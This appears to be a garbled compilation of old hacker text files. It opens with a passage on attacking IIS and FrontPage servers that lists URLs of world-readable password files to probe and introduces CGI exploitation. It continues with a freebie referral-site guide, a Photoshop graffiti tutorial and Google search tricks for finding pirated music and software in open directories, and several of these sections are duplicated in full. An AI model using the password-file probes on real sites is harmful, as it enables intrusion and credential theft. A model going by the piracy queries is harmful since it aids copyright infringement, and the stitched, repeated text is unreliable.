There are lots more example scripts in the default install and quite a few
of them are very, very insecure. Microsoft recommends that you remove ALL
samples from any production server including the ExAir, WSH, ADO and other
installed samples.
IIS Default Web Site
--------------------
IISSAMPLES - c:\inetpub\iissamples
IISADMIN - c:\winnt\system32\inetsrv\issadmin
IISHELP - c:\winnt\help
SCRIPTS - c:\inetpub\scripts
IISADMPWD - c:\winnt\systems32\inetsrv\iisadmpwd
msadc - c:\program files\common files\system\msadc
logfiles - c:\winnt\system32\logfiles
default.htm - c:\inetpub\wwwroot
IIS Default App Mapping
-----------------------
.asa - c:\winnt\system32\inetsrv\asp.dll
.asp - c:\winnt\system32\inetsrv\asp.dll
.cdx - c:\winnt\system32\inetsrv\asp.dll
.cer - c:\winnt\system32\inetsrv\asp.dll
.htr - c:\winnt\system32\inetsrv\ism.dll
.idc - c:\winnt\system32\inetsrv\httpodbc.dll
.shtm - c:\winnt\system32\inetsrv\ssinc.dll
.shtml - c:\winnt\system32\inetsrv\ssinc.dll
.stm - c:\winnt\system32\inetsrv\ssinc.dll
--[On the fifth day, God created Frontpage Extensions]
Microsoft Frontpage (Originally developed by Vermeer Tech Inc, if you've
ever wondered why they use _vti_) is a web design tool that helps you
create and maintain a web site and allows you to publish it to the web
server.
In order to publish using Frontpage the server needs to run certain
programs, collectively called the Frontpage Server Extensions.
Sounds good I hear you say, but there are many, many security holes in
Frontpage. You can list all the files, download password files and upload
your own files on Frontpage enabled sites.
When you publish a file, Frontpage attempts to read the following URL to
get all the information it needs to publish:
http://www.myserver.com/_vti_inf.html
Then Frontpage uses the following URL to POST the files to the site:
http://www.myserver.com/_vti_bin/shtml.exe/_vti_rpc
It will come as no surprise that this file is not protected and open to
abuse.
All information for the site is stored in the /_vti_pvt/ dir, and its world
readable. Here's some of the things you can look for:
http://www.myserver.com/_vti_pvt/administrators.pwd
http://www.myserver.com/_vti_pvt/authors.pwd
http://www.myserver.com/_vti_pvt/service.pwd
http://www.myserver.com/_vti_pvt/shtml.dll
http://www.myserver.com/_vti_pvt/shtml.exe
http://www.myserver.com/_vti_pvt/users.pwd
http://www.myserver.com/_private
--[On the sixth day, God created CGI]--
The Common Gateway Interface (CGI) is a standard for interfacing external
applications to the web server. A CGI program is excuted in real time and
is used to create dynamic web sites.
Generally, the CGI programs are kept in '/cgi-bin/' but can be placed
anywhere. The programs can be written most languages but typically they are
written in C, Perl or shell scripts.
Many sites will use freely available, downloadable scripts from places like
Matt's Trojan, erm, I mean Matt's Script Archive. Its always a good idea to
look through the source of the scripts for bad system calls and lax input
validation.
CGI deserves a tutorial all to itself and I strongly suggest that you read
the following tutorials... they explain it better than I ever could:
Hacking CGI - http://shells.cyberarmy.com/~johnr/docs/cgi/cgi.txt
Perl CGI Problems - http://www.phrack.com/phrack/55/P55-07
Just to get you in the mood we will have a brief look at CGI exploitation.
There are three main types of CGI hacking; URL encoding attacks, input
validation exploits and buffer overflows.
The first thing to keep in mind is that you are already able to exploit cgi
using the techniques from previous sections. First, we need to cover some
background. CGI can take lots of shapes and forms. One popular use is via
web based forms that submit information to a CGI via a GET or POST.
Guide For Getting Free Stuff
Guide For Getting Free Stuff
Ok, if you are like me you have heard so much about the FreeIpods and FreeFlatScreens websites on different forums, blogs, IM's, etc, you are about to puke. So am I. But yet the draw of getting an Ipod for doing basically nothing is pretty strong. I dismissed all the "stories" of people getting their ipods as the marketing machine at work. However, when Kevin Rose published that not only did he receive his, but a few of his friends did as well, I figured I might take a chance and give it a go. Today I received proof that it does indeed work. Yep, I got my iPod.
Whats in it for them?
Step 1. Collect Names.
Step 2. Send those names items worth $200 or more
Step 3. ?????
Step 4. Profit
Before I signed up, I wanted to get to the bottom of the ?????. I didn't want any sweaty, filth pushing webmonkeys to have all my info, so I did my research. Gratis Internet, the parent company of the FreeIpods, FreeFlatscreens, etc. sites, recently did an interview with Wired Magazine.
In this article Gratis states that they are acting as Head Hunters for companies (more on that later) and are paid between $50-$90 per referral. Although this seems like a lot of money, this is nothing compared to what these companies spend for print advertising which does not guarentee ANY customers. So now we know what ?????? equals. ??????=$50-$90 for Gratis per guranteed customer (referral sites).
How Does it Work?
You sign-up on one (or more) of the following websites:
http://www.FreeMiniMacs.com/?r=14098976
This site gives away free Mini Macs. At the time of this writing only the 80gb MiniMac was available.
http://www.FreeDesktopPC.com/?r=13082204
This site gives away free flat screen monitors and TVs. At the time of this writing the following flat screens were available: Sony 19" LCD, Samsung 15" SyncMaster 510MP LCD TV, Samsung SyncMaster 710N LCD Monitor, Sony 27" FD Trinitron WEGA TV, or a 24" Toshiba TV/VCR/DVD combo
http://www.FreeGamingSystems.com/?r=12660654
This site gives away gaming systems. At the time of this writing the Slim PS2, Xbox, Nintendo Gamecube, and Nintendo DS were available.
http://www.FreeHandbags.com/?r=13950244
This site gives away high-end handbags. Might be a good surprise for your wife or girlfriend. =) At the time of this writing the following bags were available: Prada Mini-Hobo (black, Pink, Powder Blue), Burberry Novacheck Minisling, Coach Signature Demi Pouch (black, camel, purple), Kate Spade Pia Pochette (Black, Pink, Red)
http://www.mp3players4free.com/default.aspx?r=82419
This site gives out free mp3 players. You can get paypal $275, ipod, rio carbon, iriver, ipod mini.
http://www.dvrs4free.com/default.aspx?r=90581
This site gives away TiVo, Replay TV, and $275 paypal.
http://www.macminis4free.com/default.aspx?r=181183
Another mini mac site.
http://www.cameras4free.com/default.aspx?r=90773
This site is giving away high end digital cameras. At the the time of writing this, you follow cams are available: Canon Powershot S1 IS, Sony DSC-P100, Sony DSC-W1, Canon Powershot A95, $325 paypal.
Ok, so here is the tricky part. Once you sign up with one of these websites, you have to complete an "offer" from gratis's advertisers. There are numberous offers, some being better than others. Now remember the ???? = $50 - $90 equation? In order for you to receive your ipod/Flatscreen/Desktop PC/Handbag you have to refer 5, 8, or 10 of your friends, and they have to complete one of the offers as well. Then in order for them to receive theirs they need to refer others, and so on. So lets just look at why they are going to send an Ipod to you. (1(you) + 5(your friends)) x $90 = $540 - $250(ipod) = $290 profit for them just for you signing up. The advertisers are more than willing to pay, and FreeIpods is more than happy to send you your ipod. Works out for everyone.
What is the basic "lingo"?
"ref"/"referral" = The thing required to get your free items. These are your friends.
"green" = Status indicator that means your offer has been completed.
"yellow" = Status indicator that means your offer has yet to be completed or is in the process/pending.
"hold" = Means your account has been suspended or stopped. DON'T CHEAT.
"STV" = Means your product has been "Shipped To Vendor" You should recieve it in about 10 days time.
What process should you use to sign up (to ensure that you will get your item)
When signing up, it is recommended that you use Internet Explorer (sucks) some people have reported problems using other browsers (ex. Firefox, opera, etc.) Also make sure you have cookies accepted.
1. Click on one of the links above and enter a VALID US mailing address.
2. Complete the marketing survey - not your answers do not have any impact on you receiving your item. Just say no to them.
3. Once you have signed up, you should receive a verification email. If you did not receive one, go to the "My Account" page and click the link to have them resend it. If you still did not get it check your spam folder.
4. Sign-up with one of their partners and complete the offer. (see the section which offer should I choose) It can take up to 15 days for your offer to show completed. (A term that we freebie goers use for a "completed offer" is called "credit.") But usually they show completed after 24 hours. Be patient. If it doesn't show up as completed, you can email the site with proof and confirmation for signing up and they will give you credit.
Which offer should I choose?
Just so you know all offers require a credit card, **HOWEVER** not all of them cost anything! =) Here is a list of my recommended offers and I have not had any problems whatsover with doing these.
* Video Professor: This requires a credit card and pay only $3 shipping for computer tutorial CDs. After you receive the CDs, just call customer support and cancel your membership. Return to sender the CDs and they will refund you the shipping costs.
* Complete Home: Instant verification. Sign up for their program for $1 two month trial. You get a FREE $20 Lowes Gift Card just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!
* Buyer's Advantage: Instant verification. Sign up for their program for $1 two month trial. You get a FREE $20 Circuit City Gift Card just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!
* Great Fun: Instant verification. Sign up for their program for $1 two month trial. You get a FREE Walkie Talkie just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!
* Traveler's Advantage: Instant verification. Sign up for their program for $1 two month trial. You get a FREE Thin Digital Camera just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!
* eFax Plus: Sign up for their fax service. You get a 30 day free trial. Upon receiving credit for doing the offer, simply cancel the service within the free trial and pay nothing! It usually take 1-3 days to receive credit for this offer.
* Blockbuster Online: Try a two week trial of Blockbuster's Netflix-like service. Cancel online within trial time and pay nothing.
*Zooba: If you are a book fan, sign up for this offer. You get a book for $10 with free shipping. Instant verification.
*Various Credit Card offers: Apply for a credit card and get approved. When it arrives, cut it up and toss it out. Nothing to cancel, nothing to pay, and free stuff to gain!
Many of these offers are big companies, so you do not have to question the legitimacy for signing up under them. In other words, you will be safe because you are giving your credit card information to aol, blockbuster, and general motors, and i highly doubt that they will sell this info.
These are free, as long as you cancel within the trial period. Some offer online cancellations while others require calling their support number. Just tell them that you dont find yourself using their services enough so you want to cancel and they'll cancel your membership without any problems.
Cheating
Many of these free sites take cheating very seriously. If you want your free gift and not have you account suspended, simply DON'T CHEAT! Don't refer yourself and do all the offers yourself. If you think you can cheat the system because you are a 1337 h4x0r and you can use proxies and IP spoofs to refer yourself, DON'T DO IT. When you are in the approval stage, they will intensely throughly examine your account and make sure that all your referrels are legit and unique. Trust me, I know many people who have gotten suspended for attempting to cheat.
Multiple Accounts
This goes under cheating. It is wise not to create multiple accounts under the same site because it is against the free site's TOS. They suspend you no matter what your reason is, even if it was an accident. This also includes referring family members. You can only create one account under one household, under one IP address per site. So you cannot refer mother, sister, or brother to do it unless they live in another household.
So you've ran out of offers to do. What do I do?
Ok, if you are a freebie freak, you will probably eventually run out of offers to do because of the fact that you signed up for so many free sites did all the easy free offers. What shoud you do? Remember that free sites give you credit for a unique signup for the offers. So if you signed up for blockbuster online offer at freeflatscreens, you cannot do it again for another free site such as freedesktoppc. But there is a trick to this. A unique signup = a unique credit card that you used to sign up. So if you have a another credit card, you can sign up for the offer again. Another method is to purchase a visa gift card from your mall, or go to www.webcertificate.com and purchase a virtual debit/credit card and do the offers with those.
If you followed all these steps correctly, your free gift will be delivered to your doorstep in no time.
Here are the steps:
1. Getting friends to sign up under you
2. Approval Stage: They will analyze your account for fraud. Takes 1 week.
3. Pending Stage: Your account have been approved. You are now processing. This will take 1-2 weeks.
4. STV: Sent to Vendor. Your product will arrive in 10 days.
5. Shipped: Congrats!
Most of these freebie sites are for U.S residents only.
Ok, if you are like me you have heard so much about the FreeIpods and FreeFlatScreens websites on different forums, blogs, IM's, etc, you are about to puke. So am I. But yet the draw of getting an Ipod for doing basically nothing is pretty strong. I dismissed all the "stories" of people getting their ipods as the marketing machine at work. However, when Kevin Rose published that not only did he receive his, but a few of his friends did as well, I figured I might take a chance and give it a go. Today I received proof that it does indeed work. Yep, I got my iPod.
Whats in it for them?
Step 1. Collect Names.
Step 2. Send those names items worth $200 or more
Step 3. ?????
Step 4. Profit
Before I signed up, I wanted to get to the bottom of the ?????. I didn't want any sweaty, filth pushing webmonkeys to have all my info, so I did my research. Gratis Internet, the parent company of the FreeIpods, FreeFlatscreens, etc. sites, recently did an interview with Wired Magazine.
In this article Gratis states that they are acting as Head Hunters for companies (more on that later) and are paid between $50-$90 per referral. Although this seems like a lot of money, this is nothing compared to what these companies spend for print advertising which does not guarentee ANY customers. So now we know what ?????? equals. ??????=$50-$90 for Gratis per guranteed customer (referral sites).
How Does it Work?
You sign-up on one (or more) of the following websites:
http://www.FreeMiniMacs.com/?r=14098976
This site gives away free Mini Macs. At the time of this writing only the 80gb MiniMac was available.
http://www.FreeDesktopPC.com/?r=13082204
This site gives away free flat screen monitors and TVs. At the time of this writing the following flat screens were available: Sony 19" LCD, Samsung 15" SyncMaster 510MP LCD TV, Samsung SyncMaster 710N LCD Monitor, Sony 27" FD Trinitron WEGA TV, or a 24" Toshiba TV/VCR/DVD combo
http://www.FreeGamingSystems.com/?r=12660654
This site gives away gaming systems. At the time of this writing the Slim PS2, Xbox, Nintendo Gamecube, and Nintendo DS were available.
http://www.FreeHandbags.com/?r=13950244
This site gives away high-end handbags. Might be a good surprise for your wife or girlfriend. =) At the time of this writing the following bags were available: Prada Mini-Hobo (black, Pink, Powder Blue), Burberry Novacheck Minisling, Coach Signature Demi Pouch (black, camel, purple), Kate Spade Pia Pochette (Black, Pink, Red)
http://www.mp3players4free.com/default.aspx?r=82419
This site gives out free mp3 players. You can get paypal $275, ipod, rio carbon, iriver, ipod mini.
http://www.dvrs4free.com/default.aspx?r=90581
This site gives away TiVo, Replay TV, and $275 paypal.
http://www.macminis4free.com/default.aspx?r=181183
Another mini mac site.
http://www.cameras4free.com/default.aspx?r=90773
This site is giving away high end digital cameras. At the the time of writing this, you follow cams are available: Canon Powershot S1 IS, Sony DSC-P100, Sony DSC-W1, Canon Powershot A95, $325 paypal.
Ok, so here is the tricky part. Once you sign up with one of these websites, you have to complete an "offer" from gratis's advertisers. There are numberous offers, some being better than others. Now remember the ???? = $50 - $90 equation? In order for you to receive your ipod/Flatscreen/Desktop PC/Handbag you have to refer 5, 8, or 10 of your friends, and they have to complete one of the offers as well. Then in order for them to receive theirs they need to refer others, and so on. So lets just look at why they are going to send an Ipod to you. (1(you) + 5(your friends)) x $90 = $540 - $250(ipod) = $290 profit for them just for you signing up. The advertisers are more than willing to pay, and FreeIpods is more than happy to send you your ipod. Works out for everyone.
What is the basic "lingo"?
"ref"/"referral" = The thing required to get your free items. These are your friends.
"green" = Status indicator that means your offer has been completed.
"yellow" = Status indicator that means your offer has yet to be completed or is in the process/pending.
"hold" = Means your account has been suspended or stopped. DON'T CHEAT.
"STV" = Means your product has been "Shipped To Vendor" You should recieve it in about 10 days time.
What process should you use to sign up (to ensure that you will get your item)
When signing up, it is recommended that you use Internet Explorer (sucks) some people have reported problems using other browsers (ex. Firefox, opera, etc.) Also make sure you have cookies accepted.
1. Click on one of the links above and enter a VALID US mailing address.
2. Complete the marketing survey - not your answers do not have any impact on you receiving your item. Just say no to them.
3. Once you have signed up, you should receive a verification email. If you did not receive one, go to the "My Account" page and click the link to have them resend it. If you still did not get it check your spam folder.
4. Sign-up with one of their partners and complete the offer. (see the section which offer should I choose) It can take up to 15 days for your offer to show completed. (A term that we freebie goers use for a "completed offer" is called "credit.") But usually they show completed after 24 hours. Be patient. If it doesn't show up as completed, you can email the site with proof and confirmation for signing up and they will give you credit.
Which offer should I choose?
Just so you know all offers require a credit card, **HOWEVER** not all of them cost anything! =) Here is a list of my recommended offers and I have not had any problems whatsover with doing these.
* Video Professor: This requires a credit card and pay only $3 shipping for computer tutorial CDs. After you receive the CDs, just call customer support and cancel your membership. Return to sender the CDs and they will refund you the shipping costs.
* Complete Home: Instant verification. Sign up for their program for $1 two month trial. You get a FREE $20 Lowes Gift Card just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!
* Buyer's Advantage: Instant verification. Sign up for their program for $1 two month trial. You get a FREE $20 Circuit City Gift Card just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!
* Great Fun: Instant verification. Sign up for their program for $1 two month trial. You get a FREE Walkie Talkie just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!
* Traveler's Advantage: Instant verification. Sign up for their program for $1 two month trial. You get a FREE Thin Digital Camera just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!
* eFax Plus: Sign up for their fax service. You get a 30 day free trial. Upon receiving credit for doing the offer, simply cancel the service within the free trial and pay nothing! It usually take 1-3 days to receive credit for this offer.
* Blockbuster Online: Try a two week trial of Blockbuster's Netflix-like service. Cancel online within trial time and pay nothing.
*Zooba: If you are a book fan, sign up for this offer. You get a book for $10 with free shipping. Instant verification.
*Various Credit Card offers: Apply for a credit card and get approved. When it arrives, cut it up and toss it out. Nothing to cancel, nothing to pay, and free stuff to gain!
Many of these offers are big companies, so you do not have to question the legitimacy for signing up under them. In other words, you will be safe because you are giving your credit card information to aol, blockbuster, and general motors, and i highly doubt that they will sell this info.
These are free, as long as you cancel within the trial period. Some offer online cancellations while others require calling their support number. Just tell them that you dont find yourself using their services enough so you want to cancel and they'll cancel your membership without any problems.
Cheating
Many of these free sites take cheating very seriously. If you want your free gift and not have you account suspended, simply DON'T CHEAT! Don't refer yourself and do all the offers yourself. If you think you can cheat the system because you are a 1337 h4x0r and you can use proxies and IP spoofs to refer yourself, DON'T DO IT. When you are in the approval stage, they will intensely throughly examine your account and make sure that all your referrels are legit and unique. Trust me, I know many people who have gotten suspended for attempting to cheat.
Multiple Accounts
This goes under cheating. It is wise not to create multiple accounts under the same site because it is against the free site's TOS. They suspend you no matter what your reason is, even if it was an accident. This also includes referring family members. You can only create one account under one household, under one IP address per site. So you cannot refer mother, sister, or brother to do it unless they live in another household.
So you've ran out of offers to do. What do I do?
Ok, if you are a freebie freak, you will probably eventually run out of offers to do because of the fact that you signed up for so many free sites did all the easy free offers. What shoud you do? Remember that free sites give you credit for a unique signup for the offers. So if you signed up for blockbuster online offer at freeflatscreens, you cannot do it again for another free site such as freedesktoppc. But there is a trick to this. A unique signup = a unique credit card that you used to sign up. So if you have a another credit card, you can sign up for the offer again. Another method is to purchase a visa gift card from your mall, or go to www.webcertificate.com and purchase a virtual debit/credit card and do the offers with those.
If you followed all these steps correctly, your free gift will be delivered to your doorstep in no time.
Here are the steps:
1. Getting friends to sign up under you
2. Approval Stage: They will analyze your account for fraud. Takes 1 week.
3. Pending Stage: Your account have been approved. You are now processing. This will take 1-2 weeks.
4. STV: Sent to Vendor. Your product will arrive in 10 days.
5. Shipped: Congrats!
Most of these freebie sites are for U.S residents only.
Graffiti On Walls 4 Adobe Photoshop Cs 8.0
Graffiti On Walls 4 Adobe Photoshop Cs 8.0
Graffiti On Wall Tutorial For
Photoshop Cs 8.0
For This Tutorial You Must Have A Basic Understanding Of Adobe Photoshop Cs 8.0, Example : Where The Features Of The Program Are.
CODE
For This Tutorial You Will Need The Font Called Political Graffiti FIll Which Can Be Aquired Here:
http://www.dafont.com/en/font.php?file=political_graft
And
The Starting Wall Picture Which Can be Aquired Here:
http://www.imagehosting.us/imagehosting/showimg.jpg/?id=59054
(1). Open Photoshop Cs 8.0
(2). Open Wall Picture
(3). Type Ur Second Name In Red At 210pt Font Size In The Political Graffiti Fill Font.
(4). Click Icon All The Way At The Topright That Looks Like A T With A Rounded Line Under It. (Warp Text)
(5). Distort Style Squeeze Vertical, Bend = -31%, Horizontal Distortion = +18%, Vertical Distortion = +34%
(6). Layer> Layer Style> Blending Options, General Blending> Opacity 79%> Fill Opacity 100%, Blend If: Gray, Underlying Layer Black 60, White 210
(7). Type Ur First Name In Red At 210pt Font Size In The Political Graffiti Fill Font.
(8). Click Icon All The Way At The Topright That Looks Like A T With A Rounded Line Under It. (Warp Text)
(9). Distort Style Squeeze Vertical, Bend = +50%, Horizontal Distortion = 0%, Vertical Distortion = -31%
(10). Layer> Layer Style> Blending Options, General Blending> Opacity 79%> Fill Opacity 100%, Blend If: Gray, Underlying Layer Black 60, White 210
(11). Duplicate Both Layers
(12). Move Copied Layers One On Top Of The Other (In The Layer Menu)
(13). Hide The Original Ur Second Name And Ur First Name Layers By Clicking The Eye Icons So That They Dissapear.
(14). In The Copies, Right Click (One At A Time) And Click Rasterize Layer.
(15). Go to Layer> Merge Down (Ctrl + E) (On Top Name Layer).
(16). Layer> Layer Style> Stroke Change Color To Black, Size to 8, Then Opacity To 68%.
(17). Save If No Blur Effect Wanted
(18). Filter> Blur> Smart Blur> Mode: Overlay Edges, Threshhold 48%, Radius 6, Quality: High.
(19). Layer> New Layer
(20) Brush Tool (B), Paint Brush With The Soft 16pt Airbrush For Spraypaint Effect.
(21). Smuge Around Graffiti For Paint Smudge Look For Good Effect (Optional)
(22). Save.
Finito
Final Images:
CODE
Graffiti With Blur:
http://www.imagehosting.us/imagehosting/showimg.jpg/?id=59056
Graffiti No Blur:
http://www.imagehosting.us/imagehosting/showimg.jpg/?id=59057
Graffiti On Wall Tutorial For
Photoshop Cs 8.0
For This Tutorial You Must Have A Basic Understanding Of Adobe Photoshop Cs 8.0, Example : Where The Features Of The Program Are.
CODE
For This Tutorial You Will Need The Font Called Political Graffiti FIll Which Can Be Aquired Here:
http://www.dafont.com/en/font.php?file=political_graft
And
The Starting Wall Picture Which Can be Aquired Here:
http://www.imagehosting.us/imagehosting/showimg.jpg/?id=59054
(1). Open Photoshop Cs 8.0
(2). Open Wall Picture
(3). Type Ur Second Name In Red At 210pt Font Size In The Political Graffiti Fill Font.
(4). Click Icon All The Way At The Topright That Looks Like A T With A Rounded Line Under It. (Warp Text)
(5). Distort Style Squeeze Vertical, Bend = -31%, Horizontal Distortion = +18%, Vertical Distortion = +34%
(6). Layer> Layer Style> Blending Options, General Blending> Opacity 79%> Fill Opacity 100%, Blend If: Gray, Underlying Layer Black 60, White 210
(7). Type Ur First Name In Red At 210pt Font Size In The Political Graffiti Fill Font.
(8). Click Icon All The Way At The Topright That Looks Like A T With A Rounded Line Under It. (Warp Text)
(9). Distort Style Squeeze Vertical, Bend = +50%, Horizontal Distortion = 0%, Vertical Distortion = -31%
(10). Layer> Layer Style> Blending Options, General Blending> Opacity 79%> Fill Opacity 100%, Blend If: Gray, Underlying Layer Black 60, White 210
(11). Duplicate Both Layers
(12). Move Copied Layers One On Top Of The Other (In The Layer Menu)
(13). Hide The Original Ur Second Name And Ur First Name Layers By Clicking The Eye Icons So That They Dissapear.
(14). In The Copies, Right Click (One At A Time) And Click Rasterize Layer.
(15). Go to Layer> Merge Down (Ctrl + E) (On Top Name Layer).
(16). Layer> Layer Style> Stroke Change Color To Black, Size to 8, Then Opacity To 68%.
(17). Save If No Blur Effect Wanted
(18). Filter> Blur> Smart Blur> Mode: Overlay Edges, Threshhold 48%, Radius 6, Quality: High.
(19). Layer> New Layer
(20) Brush Tool (B), Paint Brush With The Soft 16pt Airbrush For Spraypaint Effect.
(21). Smuge Around Graffiti For Paint Smudge Look For Good Effect (Optional)
(22). Save.
Finito
Final Images:
CODE
Graffiti With Blur:
http://www.imagehosting.us/imagehosting/showimg.jpg/?id=59056
Graffiti No Blur:
http://www.imagehosting.us/imagehosting/showimg.jpg/?id=59057
Google Tips & Tricks, (utilizing search engine)
==================================================
Utilizing search engines
==================================================
So much information is on the web, its mind boggling. Thankfully we have search
engines to sift through them and catagorize them for us. Unfortunatly, there is still so
much info that even with these search engines, its often a painstakingly slow process
(something comparable to death for a hacker) to find exactly what you're looking for.
Lets get right into it.
I use google.com as my primary search engine because it presently tops the charts as far as
the sites that it indexes which means more pertinent info per search.
1. Page translation.
Just because someone speaks another language doesn't mean they dont have anything useful to say. I use translation tools like the ones found at
http://babelfish.altavista.com
and
http://world.altavista.com
to translate a few key words I am searching for. Be specific and creative because these tools arent the most accurate things on the planet.
2. Directories.
These days everything is about $$$. We have to deal/w SEO (search engine optimization) which seems like a good idea on paper until you do a search for toys and get 5 pornsites in the first 10 results. Using a sites directory will eliminate that. You can narrow your search down easily by looking for the info in specific catagories. (PS google DOES have directories, they're at: directory.google.com)
3. Here are some tips that google refers to as "advanced"
A. "xxxx" / will look for the exact phrase. (google isnt case sensitive)
B. -x / will search for something excluding a certain term
C. filetype:xxx / searches for a particular file extention (exe, mp3, etc)
D. -filetype:xxx / excludes a particular file extention
E. allinurl:x / term in the url
F. allintext:x / terms in the text of the page
G. allintitle:x / terms in the html title of that page
H. allinanchor:x / terms in the links
4. OR
Self explanatory, one or the other... (ie: binder OR joiner)
5. ~X
Synonyms/similar terms (in case you can't think of any yourself)
6. Numbers in a range.
Lets say you're looking for an mp3 player but only want to spend up to $90. Why swim through all the others? MP3 player $0..$90 The 2 periods will set a numeric range to search between. This also works with dates, weights, etc
7. +
Ever type in a search and see something like this:
"The following words are very common and were not included in your search:"
Well, what if those common words are important in your search? You can force google to search through even the common terms by putting a + in front of the denied word.
8. Preferences
It amazes me when I use other peoples PCs that they dont have their google search preferences saved. When you use google as much as I do, who can afford to not have preferences? They're located on the right of the search box, and have several options, though I only find 2 applicable for myself...
A. Open results in new browser
B. Display 10-100 results per page. (I currently use 50 per page, but thats a resolution preference, and 5X's the default)
9. *
Wildcard searches. Great when applied to a previously mentioned method. If you only know the name of a prog, or are looking for ALL of a particular file (ie. you're DLing tunes) something like *.mp3 would list every mp3.
10. Ever see this?
"In order to show you the most relevant results, we have omitted some entries very similar to the X already displayed. If you like, you can repeat the search with the omitted results included." The answer is YES. yes yes yes. Did I mention yes? I meant to.
11. Search EVERYWHERE
Use the engine to its fullest. If you dont find your answer in the web section, try the group section. Hell, try a whole different search engine. Dont limit yourself, because sometimes engines seem to intentionally leave results out.
ex. use google, yahoo, and altavista. search the same terms... pretty close, right? Now search for disney death. Funny, altavista has plenty of disney, but no death...hmmm.
If you've read this far into this tutorial without saying, "Great, a guy that copied a few google help pages and thinks its useful info" then I will show you WHY (besides accuracy, speed, and consistancy finding info on ANYTHING) its nice to know how a search engine works. You combine it/w your knowledge of other protocol.
Example:
Want free music? Free games? Free software? Free movies? God bless FTP! Try this search:
intitle:"Index of music" "rolling stones" mp3
Substitute rolling stones/w your favorite band. No? Try the song name, or another file format. Play with it. Assuming SOMEONE made an FTP and uploaded it, you'll find it.
For example....I wanted to find some Sepultura. If you never heard them before, they're a Brazilian heavy metal band that kicks ass. I started with this:
intitle:"Index of music" "Sepultura" mp3 <-- nothing
intitle:"Index of música" "Sepultura" mp3 <-- nothing
intitle:"Index of musica" "Sepultura" mp3 <-- not good enough
intitle:"Index of music" "Sepultura" * <-- found great stuff, but not enough Sepultura
At this point it occurs to me that I may be missing something, so I try:
intitle:"index of *" "sepultura" mp3 <-- BANG!
(and thats without searching for spelling errors)
Also try inurl:ftp
I find that * works better for me than trying to guess other peoples mis-spellings.
The same method applies for ebooks, games, movies, SW, anything that may be on an FTP site.
I hope you enjoyed this tutorial, and I saw that recently a book and an article was written on the very same topic. I havn't read them as of yet, but check em out, and get back to me if you feel I missed something important and should include anything else.
intitle:"index of" "google hacks" ebook
Ps. I've said it before, I'll say it again... BE CREATIVE.
You'll be surprised what you can find.
Utilizing search engines
==================================================
So much information is on the web, its mind boggling. Thankfully we have search
engines to sift through them and catagorize them for us. Unfortunatly, there is still so
much info that even with these search engines, its often a painstakingly slow process
(something comparable to death for a hacker) to find exactly what you're looking for.
Lets get right into it.
I use google.com as my primary search engine because it presently tops the charts as far as
the sites that it indexes which means more pertinent info per search.
1. Page translation.
Just because someone speaks another language doesn't mean they dont have anything useful to say. I use translation tools like the ones found at
http://babelfish.altavista.com
and
http://world.altavista.com
to translate a few key words I am searching for. Be specific and creative because these tools arent the most accurate things on the planet.
2. Directories.
These days everything is about $$$. We have to deal/w SEO (search engine optimization) which seems like a good idea on paper until you do a search for toys and get 5 pornsites in the first 10 results. Using a sites directory will eliminate that. You can narrow your search down easily by looking for the info in specific catagories. (PS google DOES have directories, they're at: directory.google.com)
3. Here are some tips that google refers to as "advanced"
A. "xxxx" / will look for the exact phrase. (google isnt case sensitive)
B. -x / will search for something excluding a certain term
C. filetype:xxx / searches for a particular file extention (exe, mp3, etc)
D. -filetype:xxx / excludes a particular file extention
E. allinurl:x / term in the url
F. allintext:x / terms in the text of the page
G. allintitle:x / terms in the html title of that page
H. allinanchor:x / terms in the links
4. OR
Self explanatory, one or the other... (ie: binder OR joiner)
5. ~X
Synonyms/similar terms (in case you can't think of any yourself)
6. Numbers in a range.
Lets say you're looking for an mp3 player but only want to spend up to $90. Why swim through all the others? MP3 player $0..$90 The 2 periods will set a numeric range to search between. This also works with dates, weights, etc
7. +
Ever type in a search and see something like this:
"The following words are very common and were not included in your search:"
Well, what if those common words are important in your search? You can force google to search through even the common terms by putting a + in front of the denied word.
8. Preferences
It amazes me when I use other peoples PCs that they dont have their google search preferences saved. When you use google as much as I do, who can afford to not have preferences? They're located on the right of the search box, and have several options, though I only find 2 applicable for myself...
A. Open results in new browser
B. Display 10-100 results per page. (I currently use 50 per page, but thats a resolution preference, and 5X's the default)
9. *
Wildcard searches. Great when applied to a previously mentioned method. If you only know the name of a prog, or are looking for ALL of a particular file (ie. you're DLing tunes) something like *.mp3 would list every mp3.
10. Ever see this?
"In order to show you the most relevant results, we have omitted some entries very similar to the X already displayed. If you like, you can repeat the search with the omitted results included." The answer is YES. yes yes yes. Did I mention yes? I meant to.
11. Search EVERYWHERE
Use the engine to its fullest. If you dont find your answer in the web section, try the group section. Hell, try a whole different search engine. Dont limit yourself, because sometimes engines seem to intentionally leave results out.
ex. use google, yahoo, and altavista. search the same terms... pretty close, right? Now search for disney death. Funny, altavista has plenty of disney, but no death...hmmm.
If you've read this far into this tutorial without saying, "Great, a guy that copied a few google help pages and thinks its useful info" then I will show you WHY (besides accuracy, speed, and consistancy finding info on ANYTHING) its nice to know how a search engine works. You combine it/w your knowledge of other protocol.
Example:
Want free music? Free games? Free software? Free movies? God bless FTP! Try this search:
intitle:"Index of music" "rolling stones" mp3
Substitute rolling stones/w your favorite band. No? Try the song name, or another file format. Play with it. Assuming SOMEONE made an FTP and uploaded it, you'll find it.
For example....I wanted to find some Sepultura. If you never heard them before, they're a Brazilian heavy metal band that kicks ass. I started with this:
intitle:"Index of music" "Sepultura" mp3 <-- nothing
intitle:"Index of música" "Sepultura" mp3 <-- nothing
intitle:"Index of musica" "Sepultura" mp3 <-- not good enough
intitle:"Index of music" "Sepultura" * <-- found great stuff, but not enough Sepultura
At this point it occurs to me that I may be missing something, so I try:
intitle:"index of *" "sepultura" mp3 <-- BANG!
(and thats without searching for spelling errors)
Also try inurl:ftp
I find that * works better for me than trying to guess other peoples mis-spellings.
The same method applies for ebooks, games, movies, SW, anything that may be on an FTP site.
